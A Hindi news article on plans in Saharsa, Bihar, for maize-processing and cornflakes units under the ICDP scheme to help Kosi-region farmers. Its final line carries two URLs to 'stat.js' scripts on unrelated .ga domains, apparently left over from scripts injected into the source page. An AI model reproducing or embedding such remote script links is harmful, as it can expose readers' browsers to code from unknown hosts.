मक्का उत्पादन के लिए प्रसिद्ध कोसी क्षेत्र के सहरसा में तैयार कॉर्नफ्लैक्स अब पूरे देश में भेजा जाएगा। सरकार ने मक्का उत्पादन की रिपोर्ट के आधार पर किसानों की समस्या को दूर करने की योजना बनाई है। सहकारिता विभाग ने आइसीडीपी योजना के तहत लगभग 70 करोड़ की लागत से तीन प्रसंस्करण उद्योग तथा एक कॉर्नफ्लेक्स यूनिट स्थापित करने की योजना बनाई है।

कोसी इलाके में रबी, गरमा और खरीफ तीनों सीजनों में मक्के का उत्पादन होता है। अब उद्योग स्थापित होने के बाद किसानों को फसल का उचित मूल्य मिलेगा। आइसीडीपी योजना के तहत विभाग ने मक्का की थोक व खुदरा खरीद के लिए भी क्रय केंद्र स्थापित करने का भी निर्णय लिया है। विभागीय सूत्रों के अनुसार अगले वित्तीय वर्ष में इनकी स्थापना की तैयारी चल रही है। कृषि विभाग के अनुसार तीनों सीजनों को मिलाकर सहरसा जिले में 40 से 50 हजार हेक्टेयर भूमि में मक्के की खेती होती है।

इलाके के किसान इस खेती के बल पर अपने बेटे की पढ़ाई से लेकर बेटी के हाथ पीले करने तक की योजना बनाते हैं। प्रसंस्करण उद्योग के अभाव में किसान जमाखोरों के हाथ कम कीमत पर फसल बेचने को मजबूर होते हैं। कई बार तो किसानों को लागत मूल्य तक नहीं मिल पाता है। महाजन रेल व हवाई मार्ग से नेपाल, पंजाब, दिल्ली से लेकर पाकिस्तान और बांग्लादेश तक मक्का भेजकर मालामाल हो रहे हैं। इसी मक्का से बननेवाले कॉर्नफ्लैक्स, पॉपकार्न सहित अन्य उत्पाद बाजार में काफी महंगे बिक रहे हैं।

मक्का उत्पादन के लिए कोसी क्षेत्र काफी महत्वपूर्ण है। इसकी खेती की बदौलत इलाके के किसान खुशहाल हो सकते हैं। उत्पादन के लिहाज से यहां अबतक अन्य सुविधाएं नहीं हैं। आइसीडीपी योजना के तहत तीन प्रसंस्करण और एक कॉर्नफ्लैक्स यूनिट स्थापित करने के लिए प्रस्ताव विभाग को भेज दिया गया है। जल्द ही इसपर काम शुरू करने की उम्मीद है। – सैयद मशरूक आलम, डीसीओ, सहरसाhttps://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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